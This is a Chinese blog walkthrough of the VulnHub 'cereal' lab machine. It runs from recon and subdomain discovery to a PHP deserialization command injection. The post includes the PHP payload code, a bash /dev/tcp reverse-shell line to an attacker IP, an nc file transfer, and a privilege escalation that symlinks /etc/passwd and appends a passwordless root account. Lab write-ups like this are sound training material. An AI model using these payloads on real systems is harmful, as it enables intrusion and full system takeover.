• vulnhub之cereal


    目录

    一、主机发现

    二、端口扫描

    三、服务版本探测

    四、端口分析

    1.21 ftp

    2.22 80

    3.139 445 3306

    4.其他端口

    五、信息收集

     六、目录爆破

    七、绑定域名

    八、gobuster子域名爆破

    九、secure.cereal.ctf

    十、突破点

    1.功能

    2.命令注入

    3.抓包解码

    4.dirbuster爆破备份文件

     十一、下载备份文件并审计

    十二、构造payload

    十三、尝试注入

    1.正常ping命令

     2.反序列化造成的rce

     3.反弹shell

    十四、pspy捕捉定时进程——提权


    一、主机发现

    二、端口扫描

    三、服务版本探测

    四、端口分析

    1.21 ftp

    21端口上就是开放了ftp服务,这也是ftp默认端口,我们可以知道ftp服务器ip,还知道可以匿名登录

    2.22 80

    开放了常用的服务ssh和http服务

    3.139 445 3306

    139 445一般部署的smb服务,只是基于不同的协议。

    3306 mysql数据常用端口。这里显示允许连接。

    4.其他端口

    至于其他端口,除了44441开放了一个http服务,剩下的没有太多有效信息,服务也都没扫出来

    五、信息收集

    1.80

    主页面没收获

    源码:接口,隐藏目录,泄露源码都没发现。无收获

    2.44441

    更是啥都没有

     六、目录爆破

    1.80

    (1)默认字典

    直接扫,dir默认用common.txt跑,扫出来这些目录

     可以一个wordpress(通过其他链接进行的判断)的后台登录界面,尝试弱口令无效

    (2)/blog

    有个域名信息,backup备份,

     (3)phpinfo

    可以了解到一些接口信息,配置文件信息,服务器语言运行环境(php)

    2.44441

    这里没有有效信息。

    3.换个大字典跑

    没有别的信息了

    七、绑定域名

    访问,结果还是一个Apache的默认页面。尝试去对这个域名下进行目录的爆破,根据提示,找备份文件,结果扒拉扒拉,还是一无所获。

    1.80

    2.44441

    八、gobuster子域名爆破

    gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt

    这里发现了一个子域名

    九、secure.cereal.ctf

     将ip和host文件进行绑定后访问,80还是和主界面一样

    44441端口下部署了这样一个东西

    十、突破点

    1.功能

    这是一个执行ping操作的接口。而且调用了操作系统的ping命令

    2.命令注入

    | && ;用这些尝试

    尝试失败

    3.抓包解码

    很明显,这是一个php序列化后的数据,如何去利用这个反序列化,如何确定有没有反序列化漏洞。我们只能通过代码审计来确定是否存在反序列化漏洞,来构造payload。

    4.dirbuster爆破备份文件

    (1)备份文件可能文件名

    .svn .git

    尝试失败

    (2)备份目录爆破

    结果出来有一个back_en路径,这一看就是备份文件路径

     (3)备份文件

    选用seclists下的conmon.txt来进行爆破,200状态正常

     十一、下载备份文件并审计

    1.index.php.bak文件

    这就是后端的代码

    十二、构造payload

    找一个php在线网站来执行就可

    1. <?php
    2. class pingTest {
    3. public $ipAddress = "192.168.0.106";
    4. public $isValid = True;
    5. }
    6. $obj = NEW pingTest;
    7. $serilaze= serialize($obj);
    8. echo urlencode($serilaze);
    9. ?>

    十三、尝试注入

    1.正常ping命令

     2.反序列化造成的rce

    在源码部分可以看到id命令执行成功执行

     3.反弹shell

    bash -i >& /dev/tcp/192.168.0.106/5555 0>&1

    1. <?php
    2. class pingTest {
    3. public $ipAddress = "192.168.0.106;bash -i >& /dev/tcp/192.168.0.106/5555 0>&1 ";
    4. public $isValid = True;
    5. }
    6. $obj = NEW pingTest;
    7. $serilaze= serialize($obj);
    8. echo urlencode($serilaze);
    9. ?>

    突破边界,反弹成功:

    十四、pspy捕捉定时进程——提权

    总结:在前面的学习中,我们学到了很多的提权手段,内核漏洞,suid权限继承,sudo 权限的配置,motd注入,缓冲区溢出,利用redis未授权,用mysql写入公钥,这些手段在这里都无法提权。

    1.pspy进程监视软件

    简述:这个软件可以在是普通用户的情况下,可以监视root生成的进程。看是否有可用于提权的进程产生。

    由于目标是64位的,我们也下载一个64位的。

    2.通过nc传输

    nc -nvlp 4444 > pspy

    nc 192.168.0.104 4444 < pspy64 -w 1

    3.执行pspy

    第一步给权限,后执行

    我叼,啥都有,不得不说这是个系统排查的神器。

    4.chown.py

    我们发现了一个异常文件,尝试对其进行分析

    5.权限分析

    属主属组全部是root,并且我们也是可以读的。

    6.查看shell源码

    主要就是对后面这个文件夹下的所有文件更改属主和属组为rocky:apache,那么我们可以通过链接的方式来改掉/etc/passwd的属组和属主,我们当前是apache群组。

     

    7.通过软连接修改主和组

    ln参数-f:

    -f 促使 ln
    命令替换掉任何已经存在的目的路径。如果目的路径已经存在,而没有指定 -f
    标志,ln
    命令不会创建新的链接,而是向标准错误写一条诊断消息并继续链接剩下的
    SourceFiles。

    8.十分钟漫长等待

    可以看到文件已经被改掉了

    9.追加root用户

    echo "mhq::0:0:root:/root:/bin/bash" >> /etc/passwd

    提权成功

     

     

     

  • 相关阅读:
    flink时间处理语义
    MQTT.js 入门教程:学习笔记
    “拳头”重拳出击,Valorant监控来袭,网络环境改善?隐私安全?
    PCIe系列专题之二:2.1 TLP的前世今生
    计算机毕业设计springboot+vue+elementUI高考填报志愿综合参考系统
    【多线程】线程安全问题
    【微信小程序】saveFile:fail tempFilePath file not exist
    mysql子查询
    工业信息物理系统攻击检测增强模型
    ControllerBeanNameHandlerMapping类功能简介说明
  • 原文地址:https://blog.csdn.net/weixin_54431413/article/details/125519902